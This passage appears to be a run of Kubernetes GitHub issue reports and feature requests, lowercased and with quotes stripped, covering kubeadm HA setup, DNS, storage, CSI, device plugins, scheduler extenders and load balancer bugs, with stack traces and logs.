+0x1e4d\r net/http.handlerfunc.servehttp 0xc4207fee00, 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:73 +0x2c2\r net/http.handlerfunc.servehttp 0xc42083aa50, 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:107 +0xef\r net/http.handlerfunc.servehttp 0xc420842be0, 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:74 +0x24a\r net/http.handlerfunc.servehttp 0xc420857500, 0x7f4090864a70, 0xc4215d6208, 0xc42334ad20 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc420842c80, 0x54fb0c0, 0xc4215d6208, 0xc42334ad20, 0xc42334d080 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:91 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x1d1\r \r logging error output: \ k8s\\x00\ \\f\ \\x02v1\\x12\\x06status\\x12$\ \\x04\ \\x00\\x12\\x00\\x12\\afailure\\x1a\\x0eunexpected eof\\\ \\x000\\xf4\\x03\\x1a\\x00\\\ \\x00\ \r

is this a bug report or feature request?    choose one : feature request\r \r   kubernetes version    use  kubectl version  : api v1beta1\r \r networking traditionally refers to \ sources\  and \ destinations\ . acceptable alternatives are \ to\  and \ from\ .\r \r the networkpolicyspec names the destination selector \ podselector\ , and the source is \ ingress  .from\ . since \ topodselector\  sounds kind of weird, can we call these \ destinationpodselector\  and \ ingress  .source\  when in the v1 api? i found our current naming scheme quite confusing.

 \r  \r @kubernetes/sig-cli- \r \r kubeadm now is not support ha, so we can not use kubeadm to setup a production kubernetes cluster. but create a ha cluster from scratch is too complicated, and when i google keyword \ kubeadm ha\ , only few article or mind draft related tell me how to.\r \r so i try lots of ways to reform \ kubeadm init\ , finally i make kubeadm cluster support ha, and i hope this way will help \ kubeadm init\  support creating a ha production cluster.\r \r detail operational guidelines is here: https://github.com/cookeem/kubeadm-ha\r \r    summary\r \r -   linux version: centos 7.3.1611  \r -   docker version: 1.12.6  \r -   kubeadm version: v1.6.4  \r -   kubelet version: v1.6.4  \r -   kubernetes version: v1.6.4  \r \r -   hosts list  \r \r hostname | ipaddress | notes | components \r :--- | :--- | :--- | :---\r k8s-master1 | 192.168.60.71 | master node 1 | keepalived, nginx, etcd, kubelet, kube-apiserver, kube-scheduler, kube-proxy, kube-dashboard, heapster\r k8s-master2 | 192.168.60.72 | master node 2 | keepalived, nginx, etcd, kubelet, kube-apiserver, kube-scheduler, kube-proxy, kube-dashboard, heapster\r k8s-master3 | 192.168.60.73 | master node 3 | keepalived, nginx, etcd, kubelet, kube-apiserver, kube-scheduler, kube-proxy, kube-dashboard, heapster\r n/a | 192.168.60.80 | keepalived virtual ip | n/a\r k8s-node1 ~ 8 | 192.168.60.81 ~ 88 | 8 worker nodes | kubelet, kube-proxy\r \r -   detail deployment architecture  \r \r ! k8s ha  https://github.com/cookeem/kubeadm-ha/raw/master/images/k8s-ha.png \r \r    critical steps\r \r -   1. deploy an independent etcd tls cluster on all master nodes  \r \r -   2. on k8s-master1: use  kubeadm init  create master connect independent etcd tls cluster  \r \r    \r $ cat /root/kubeadm-ha/kubeadm-init.yaml \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r kubernetesversion: v1.6.4\r networking:\r   podsubnet: 10.244.0.0/16\r etcd:\r   endpoints:\r   - http://192.168.60.71:2379\r   - http://192.168.60.72:2379\r   - http://192.168.60.73:2379\r \r $ kubeadm init --config=/root/kubeadm-ha/kubeadm-init.yaml\r    \r \r -   3. copy k8s-master1 /etc/kubernetes directory to k8s-master2 and k8s-master3  \r \r -   4. use ca.key and ca.crt re-create all master nodes' apiserver.key and apiserver.crt certificates  \r \r modify apiserver.crt  x509v3 subject alternative name  dns and ip to current hostname and ip address, and add keepalived virtual ip address. \r \r -   5. edit all master nodes' admin.conf controller-manager.conf scheduler.conf, replace  server  point to current ip address  \r \r -   6. setup keepalived, and create a virtual ip redirect to all master nodes  \r \r -   7. setup nginx as all master apiserver's load balancer  \r \r -   8. update configmap/kube-proxy, replace  server  point to virtual ip apiserver's load balancer  \r \r    how to make kubeadm support ha\r \r -   1. we can presume our kubeadm init config file like this:   \r    \r $ cat /root/kubeadm-ha/kubeadm-init.yaml \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r kubernetesversion: v1.6.4\r networking:\r   podsubnet: 10.244.0.0/16\r ha:\r     this settings is current ip address  \r   ip: 192.168.60.71\r     this settings is keepalived virtual ip address\r   vip: 192.168.60.80\r     this settings is master nodes' ip address list.\r     1. kubeadm init use this info to create apiserver.crt and apiserver.key files. \r     2. and use this settings to create an etcd tls cluster pods. \r     3. and use this settings to create nginx load balancer pods.\r     4. and use this settings to create keepalived virtual ip.\r   masters:\r   - 192.168.60.71\r   - 192.168.60.72\r   - 192.168.60.73\r    \r \r -   2. on k8s-master1 we use  kubeadm init --config=/root/kubeadm-ha/kubeadm-init.yaml  create a master node  \r \r kubeadm will create etcd/nginx/keepalived pods and all certificates and  .conf files.\r \r -   3. on k8s-master1 copy /etc/kubernetes/pki directory to k8s-master2 and k8s-master3  \r \r -   4. on k8s-master2 and k8s-master3 replace kubeadm-init.yaml ha.ip settings to current ip address  \r \r -   5. on k8s-master2 and k8s-master3 we use  kubeadm init --config=/root/kubeadm-ha/kubeadm-init.yaml  create 2 master nodes  \r \r kubeadm will create etcd/nginx/keepalived pods and all certificates and  .conf files, then k8s-master2 and k8s-master3 will join the ha cluster automatically.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r currently all our e2e tests use ext4.  should add a few cases for xfs too.\r \r   \r

the gce \ pd\  tests  _test/e2e/storage/volumes.go_  and the \ pod disks\  tests  _test/e2e/storage/pd.go_  call  detachanddeletepds  which calls  detachpd .   detachpd  handles both gce/gke and aws/ec2 providers as desired. however,  detachanddeletepds  also calls  waitforpddetach  and this func does   not   support aws. so there is no wait for detach in aws test environments. imo, the detach support and the wait-for-detach support should be symmetric.\r \r  note: this might not be a bug but it looks odd to me...\r

is this a bug report or feature request?:  \r bug\r \r   what happened:  \r my cluster need to use auto scaling everyday based on demand, but something strange is happening. everytime when cluster have down scaling some containers lost internet connection returning timeout to access any service outside of the cluster. i don't if that is a bug or a normal behavior caused by auto scaling, but i'd like to share that information with you all to we discussting more about that and if we can do something to improve it.\r \r   what you expected to happen:  \r that my pods don't lost internet connection when down scaling happens.\r \r   how to reproduce it  as minimally and precisely as possible :  \r create a k8s cluster into aws using kops and _flannel_ like your network cni. launch some pod making a simple ping in any url and does a manual autoscaling using the aws autoscaling created by kops to your k8s nodes. done, you'll get some seconds of internet lost.\r \r   anything else we need to know?:  \r the internet connection lost doesn't happening on upscaling, just on downscaling.\r \r   environment:  \r \r   kubernetes version  use kubectl version :   v1.8.4\r   cloud provider or hardware configuration:   aws\r   os  e.g. from /etc/os-release :   debian\r   kernel  e.g. uname -a :   linux ip-172-20-62-215 4.4.65-k8s\r   install tools:   kops\r   others:    aws autoscaling  group\r   \r  

this task is to indicate that type csipersistentvolumesource is now  beta .  \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r kubelet is depending on docker container's resolvconfpath  e.g.  /var/lib/docker/containers/439efe31d70fc17485fb6810730679404bb5a6d721b10035c3784157966c7e17/resolv.conf   to setup dns servers and search domains. while this is ok for linux containers, resolvconfpath is always an empty string for windows containers. so that the dns setting for windows containers are always not set.\r \r for kubernetes clusters deployed by acs-engine, the pod's dns is always set to kube-dns service's clusterip. this is done via the network plugin  e.g. l2bridge or azure-cni . it makes windows containers only work with clusterfirst dns policy. \r \r to follow kubernetes dns policies, kubelet should pass the expected dns settings directly to windows containers  instead of set it in cni plugins .\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r how to setup kubelet withou -allow-priviliged=true, it is removed from kubeletconfiguration as well/\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r use master dev branch of kubelet to join master.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently kubernetes allows for an image pulled using a secret to be referenced without a secret by other pods.  the alwayspullimages admission controller fixes that, but at the expense of always pulling the image, creating a hard dependency on the registry being available.\r \r can we discuss a solution that allows for kubernetes to differentiate between public and private images?  or that can cache a map from the credential to the image used?   i guess it is conceivable, although likely  a terrible idea, that some registry might use credentials to serve different image labels to different users

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r an event to be emitted when a daemonset pod fails to be place on a node due to a hostport clash\r   why is this needed  :\r when deploying a daemonset it can be quite difficult to work out why it's not scheduling any pods when you have a hostport clash as it does not emit any events. \r \r it seems in the code this was purposefully prevented, it assumed hostport clashes were intentional due to the lack of hard pod anti-affinity, as this is now a feature i think it would be useful to have the event emitted for easier debugging. \r \r code here: https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/daemon/daemon_controller.go l1365 \r \r i'm quite happy to raise a pr to change this.\r \r  <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r after kubelet restarts, csi plugin might not be re-registered soon. this cause a problem for volume reconstruction procedure. when kubelet found some mounts that need to be cleaned up, it will fail to do so because driver is not registered yet. \r    \r reconciler.go:429  reconciler sync states: could not find information  pid: d302836e-0255-11e9-8683-42010a800002   volume specname: pvc-cd03c7e0-0255-11e9-8683-42010a800002  in desired state, clean up the mount points\r \r csi_plugin.go:359  kubernetes.io/csi: setting up unmounter for  name=pvc-cd03c7e0-0255-11e9-8683-42010a800002, poduid=d302836e-0255-11e9-8683-42010a800002\r \r reconciler.go:442  volumehandler.unmountvolumehandler for unmountvolume failed for volume \ \   uniquename: \ pvc-cd03c7e0-0255-11e9-8683-42010a800002\   pod \ d302836e-0255-11e9-8683-42010a800002\   uid: \ d302836e-0255-11e9-8683-42010a800002\   : unmountvolume.newunmounter failed for volume \ \   uniquename: \ pvc-cd03c7e0-0255-11e9-8683-42010a800002\   pod \ d302836e-0255-11e9-8683-42010a800002\   uid: \ d302836e-0255-11e9-8683-42010a800002\   : driver name pd.csi.storage.gke.io not found in the list of registered csi drivers\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what would you like to be added  :\r \r e2e test suites for:\r - put /api/v1/namespaces/{namespace}/resourcequotas/{name}\r - delete /api/v1/namespaces/{namespace}/resourcequotas/{name}\r \r   why is this needed  :\r \r the above apis are not performed in current e2e test. by adding test for it, e2e test coverage is improved.\r \r 

currently, afaict, the only documentation of the format of kubeconfig is http://kubernetes.io/v1.1/docs/user-guide/kubeconfig-file.html , which provides a couple of examples and a suggestion to use the cli to manipulate user configurations.  while this is nice as introductory material, it's insufficient as a reference for people building automation. it would be nice to have the kubeconfig format documented in the style of http://kubernetes.io/v1.1/docs/api-reference/v1/definitions.html , and the reference linked from the user guide entry.

i observe the following error:      $ kubectl logs my-worker-6698i --v=10  ... snip ...  i0505 08:10:11.075361    7746 round_trippers.go:267  curl -k -v -xget  -h \ user-agent: kubectl/v1.2.0  linux/amd64  kubernetes/738b760\  -h \ accept: application/json,  / \  http://localhost:8080/apis i0505 08:10:11.075620    7746 round_trippers.go:286  get http://localhost:8080/apis 200 ok in 0 milliseconds i0505 08:10:11.075646    7746 round_trippers.go:292  response headers: i0505 08:10:11.075652    7746 round_trippers.go:295      content-type: application/json i0505 08:10:11.075656    7746 round_trippers.go:295      date: thu, 05 may 2016 12:10:11 gmt i0505 08:10:11.075660    7746 round_trippers.go:295      content-length: 18 i0505 08:10:11.075676    7746 request.go:870  response body: {   \ groups\ :    } i0505 08:10:11.075840    7746 round_trippers.go:267  curl -k -v -xget  -h \ user-agent: kubectl/v1.2.0  linux/amd64  kubernetes/738b760\  http://localhost:8080/api/v1/namespaces/default/pods/my-worker-6698i/log i0505 08:10:11.090244    7746 round_trippers.go:286  get http://localhost:8080/api/v1/namespaces/default/pods/my-worker-6698i/log 500 internal server error in 14 milliseconds i0505 08:10:11.090268    7746 round_trippers.go:292  response headers: i0505 08:10:11.090274    7746 round_trippers.go:295      content-type: application/json i0505 08:10:11.090279    7746 round_trippers.go:295      date: thu, 05 may 2016 12:10:11 gmt i0505 08:10:11.090284    7746 round_trippers.go:295      content-length: 231 i0505 08:10:11.090645    7746 helpers.go:172  server response object:  {   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ internal error occurred: unrecognized input header\ ,   \ reason\ : \ internalerror\ ,   \ details\ : {     \ causes\ :         {         \ message\ : \ unrecognized input header\        }         },   \ code\ : 500 }  f0505 08:10:11.090668    7746 helpers.go:107  error from server: internal error occurred: unrecognized input header      while accessing the logs via docker works just fine:      $ docker logs k8s_my-worker.f4afcc6d_my-worker-6698i_default_1d8c1025-12b7-11e6-a7f7-5254004a5b75_a0d48606      using the following kubernetes:      $ rpm -q kubernetes kubernetes-1.2.0-0.6.alpha1.git8632732.el7.x86_64      coming from projectatomic/adb vagrant box.   1  https://atlas.hashicorp.com/projectatomic/boxes/adb/

with feedback from https://code.google.com/p/google-cloud-sdk/issues/detail?id=838

a number of the pkg/api/errors/errors.go helper methods  eg newbadrequest  do not set the details field with a cause.  @smarterclayton

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/1740/ failed:  k8s.io  hostpath should support r/w  volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/host_path.go:82 expected error:     < errors.errorstring | 0xc420f470a0>: {         s: \ expected pod \\\ pod-host-path-test\\\  success: pod \\\ pod-host-path-test\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-02-01 15:37:03 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-02-01 15:37:03 +0000 utc reason:containersnotready message:containers with unready status:  test-container-1 test-container-2 } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-02-01 15:37:04 +0000 utc reason: message:}  message: reason: hostip:10.128.0.14 podip:10.180.0.110 starttime:2017-02-01 15:37:03 +0000 utc initcontainerstatuses:   containerstatuses: {name:test-container-1 state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:0,signal:0,reason:completed,message:,startedat:2017-02-01 15:37:04 +0000 utc,finishedat:2017-02-01 15:37:04 +0000 utc,containerid:docker://3b43e6120b717975c0ead16744aab859d8fe6598569c725186c4e0fd8069ca7a,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.7 imageid:docker://sha256:7d5bba82296e1fb44be5a07e3965659130433a2a63c9175f59966fb18c4d6029 containerid:docker://3b43e6120b717975c0ead16744aab859d8fe6598569c725186c4e0fd8069ca7a} {name:test-container-2 state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:2017-02-01 15:37:04 +0000 utc,finishedat:2017-02-01 15:40:04 +0000 utc,containerid:docker://37f34d455b2b2636ba9b08965af68a46561c8167c82089539f8b69a6a486654d,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.7 imageid:docker://sha256:7d5bba82296e1fb44be5a07e3965659130433a2a63c9175f59966fb18c4d6029 containerid:docker://37f34d455b2b2636ba9b08965af68a46561c8167c82089539f8b69a6a486654d}  qosclass:besteffort}\ ,     }     expected pod \ pod-host-path-test\  success: pod \ pod-host-path-test\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-02-01 15:37:03 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-02-01 15:37:03 +0000 utc reason:containersnotready message:containers with unready status:  test-container-1 test-container-2 } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-02-01 15:37:04 +0000 utc reason: message:}  message: reason: hostip:10.128.0.14 podip:10.180.0.110 starttime:2017-02-01 15:37:03 +0000 utc initcontainerstatuses:   containerstatuses: {name:test-container-1 state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:0,signal:0,reason:completed,message:,startedat:2017-02-01 15:37:04 +0000 utc,finishedat:2017-02-01 15:37:04 +0000 utc,containerid:docker://3b43e6120b717975c0ead16744aab859d8fe6598569c725186c4e0fd8069ca7a,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.7 imageid:docker://sha256:7d5bba82296e1fb44be5a07e3965659130433a2a63c9175f59966fb18c4d6029 containerid:docker://3b43e6120b717975c0ead16744aab859d8fe6598569c725186c4e0fd8069ca7a} {name:test-container-2 state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:2017-02-01 15:37:04 +0000 utc,finishedat:2017-02-01 15:40:04 +0000 utc,containerid:docker://37f34d455b2b2636ba9b08965af68a46561c8167c82089539f8b69a6a486654d,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.7 imageid:docker://sha256:7d5bba82296e1fb44be5a07e3965659130433a2a63c9175f59966fb18c4d6029 containerid:docker://37f34d455b2b2636ba9b08965af68a46561c8167c82089539f8b69a6a486654d}  qosclass:besteffort} not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2103

latest kubeadm code is looking for 3.0.17 version of gcr.io/google_containers/etcd-ppc64le docker image but is missing. please push this image to work latest kubeadm properly on ppc64le platform.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r   is this a bug report or feature request?    choose one :\r bug report \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce  federation control plane  + cluser on-prem\r \r   what happened  :\r i had a federation running, with the control plane at gce and a local on-prem cluster, running in a vm. then, i had to change the port my local api-server was running. i've updated the cluster file and ran  kubetl --context=federation apply -f cluster.yaml . the object was properly updated but the  federation-controller-manager  started to fail, because it was still trying to reach in the old port.\r \r   what you expected to happen  :\r  federation-controller-manager  to be refreshed at some point, updating the cluster port. i had to delete and recreate the local cluster\r \r   how to reproduce it    as minimally and precisely as possible :\r create a federation on gce, join another cluster and change some cluster information. in my case i needed to change the port, so i updated the cluster object.\r \r   anything else we need to know  :\r how i made my federation setup: https://github.com/henriquetruta/hybrid-k8s-federation/\r

as per a  thread  https://groups.google.com/d/msg/kubernetes-sig-federation/ambyurm1rz0/vnqudlv7agaj  on the mailing list, it appears that federation will only be possible between a cluster whose api version is >= the api version of the federation control plane.  this suggests that the control plane should be explicitly checking the api version indicated for a member cluster and refusing to federate to a cluster with an older api than is in use by the control plane.\r \r cc: @kubernetes/sig-federation-bugs @kubernetes/sig-api-machinery-misc

bug report  : the  addendpointsubset method  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/endpoint/endpoints_controller.go l509-l528  of the endpoints controller is currently adding endpointsubsets with address that are unready base on the  service.alpha.kubernetes.io/tolerate-unready-endpoints  annotation. \r \r at a minimum those addresses need to be added as endpointsubsets with unreadyaddresses, and the decision on whether to add them should be made, based on the annotation or its equivalent field, in the default dns implementation's  handleendpointupdate  https://github.com/kubernetes/dns/blob/master/pkg/dns/dns.go l320-l381  and  generaterecordsforheadlessservice  https://github.com/kubernetes/dns/blob/master/pkg/dns/dns.go l480-l520  methods.\r \r we might also consider simply always creating srv records without respect to readiness. that is, the dns implementation could disregard readiness for the endpoints associated with a headless services when creating srv records and only worry about readiness when creating a records. however, if we consider this approach, we might want to give careful thought to what we might break.\r \r before proceeding with the implementation of either, i'd like to get feedback  and maybe participation  from sig network. particularly as some clusters may not use the kube-dns add-on. i'd like to fix this in the 1.8 - 1.9 time frame if possible.\r \r  

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r introduced by pr  50889:\r we use  poddiskusage  to calculate pod local ephemeral storage which is not correct, because  poddiskusage  also contains  hostpath  volume which is considered as persistent storage\r \r   what you expected to happen  :\r just calculate local ephemeral storage usage\r \r   \r /assign @nickrenren\r

 \r   what happened  :\r - configmap for kube-dns created with 1 internal upstream name server\r - kube-dns pods replaced and verified logs picked up config:\r           i1027 16:08:54.444583       1 sync.go:177  updated upstreamnameservers to     .   .   .    \r - push dns request to kube-dns service ip for internal domain and it doesn't resolve  seems like it is only using what is defined in /etc/resolv.conf \r \r   what you expected to happen  :\r dns resolution for all domains outside of cluster.local should be pushed to the upstream name server to include the internal domain.\r \r   how to reproduce it  as minimally and precisely as possible   :\r dig @ service ip   record in local domain \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.7\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu server 16.04.3 lts\r - kernel  e.g.  uname -a  : 4.4.0-97-generic\r - install tools: acs-engine\r - others:\r

as of now kubelet removes a resource owned by device plugins as soon as it notices that a plugin has failed  plugin socket is removed, or listwatch fails . this behavior is undesirable because trivial plugin restarts would result in node capacity changes which is most likely going to be monitored in production clusters resulting in alerts. \r \r as discussed in https://github.com/kubernetes/kubernetes/issues/53395, we should have kubelet reduce the capacity and allocatable to  0  if a device plugin has failed and then after a timeout remove the resource completely from the node object. \r this timeout ensures that random restarts do not raise alerts for production cluster admins, while continue failure does raise an alert. it also let's us track scenarios where all devices fail while the device plugin stays healthy. \r similarly, during startup, kubelet should wait to known plugins to re-register prior to declaring a plugin to be unavailable.\r i'd ideally expect this bug to be fixed as part of beta.\r \r @vikaschoudhary16 @renaudwastaken @jiayingz @kubernetes/sig-node-bugs @connordoyle

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r \r   what happened  :\r when using scheduler extender, if the extender is not available scheduling of all pods fail.\r   what you expected to happen  :\r i believe that we should let the scheduling happen but display error message that extender is failing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r filepath calls os package for path separators, so it will work better on non-linux platforms like windows.  we should try to replace usage of path package with filepath where we can.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r create a load balancer service and update it immediately, the externalip of the service may be <pending> forever, even the load balancer has get the ip.\r   what you expected to happen  :\r the externalip of a load balancer service should be updated when the load balancer get the ip.\r   how to reproduce it  as minimally and precisely as possible   :\r 1.\tcreate a load balancer service\r 2.\tmake a change to the service with rest api call, which changes its resource version, e.g., change its label or selector.\r 3.\tthe load balancer will never get external ip, even the load balancer has configured the ip.\r \r  this bash script  https://gist.githubusercontent.com/wenwu449/10daa7a4000bae5712a4488555d98822/raw/e788f69dcd281258e4458c17e06a19a8def61a73/service-controller-repro.sh  can be used to repro.\r \r   anything else we need to know?  :\r it is very hard to use kubectl to repro this, because kubectl almost always change annotation, which will trigger the enqueue in service controller and reconcile the service.\r \r service controller log:\r service_controller.go:322  failed to persist service \ default/test-service\  updated status to apiserver, even after retries. giving up: not persisting update to service 'default/test-service' that has been changed since we received it: operation cannot be fulfilled on services \ test-service\ : the object has been modified; please apply your changes to the latest version and try again\r \r it seems if the service update failed due to version conflict, service-controller will give up and rely on next reconcile to fix. however not all service change will trigger reconcile.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3, 1.8.4\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : linux\r - kernel  e.g.  uname -a  :  4.13.0-1018-azure\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r setting a resource requests and limits on a pod other pods running on the node where it was scheduled are moved to the cgroups created to serve the qos request.\r \r   what you expected to happen  :\r \r pods to stay in their assigned cgroups.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubelet running with the following flags:\r    \r --enforce-node-allocatable=pods\r --cgroups-per-qos=true\r --cgroup-root=/root/cgroup-here\r    \r \r create a pod without resource reservations and then create another one with resource reservations. for example, using the following template:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r   labels:\r     app: nginx\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     ports:\r       - containerport: 80\r     resources:\r       requests:\r         memory: \ 32mi\ \r         cpu: \ 100m\ \r       limits:\r         memory: \ 32mi\ \r         cpu: \ 100m\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-beta.0\ , gitcommit:\ 450ed5307355ef0e3d215f243b80178bd465c975\ , gittreestate:\ clean\ , builddate:\ 2018-08-14t21:03:09z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r - os  e.g. from /etc/os-release :\r    \r centos 7.5\r coreos-1465\r    \r \r - kernel  e.g.  uname -a  :\r    \r 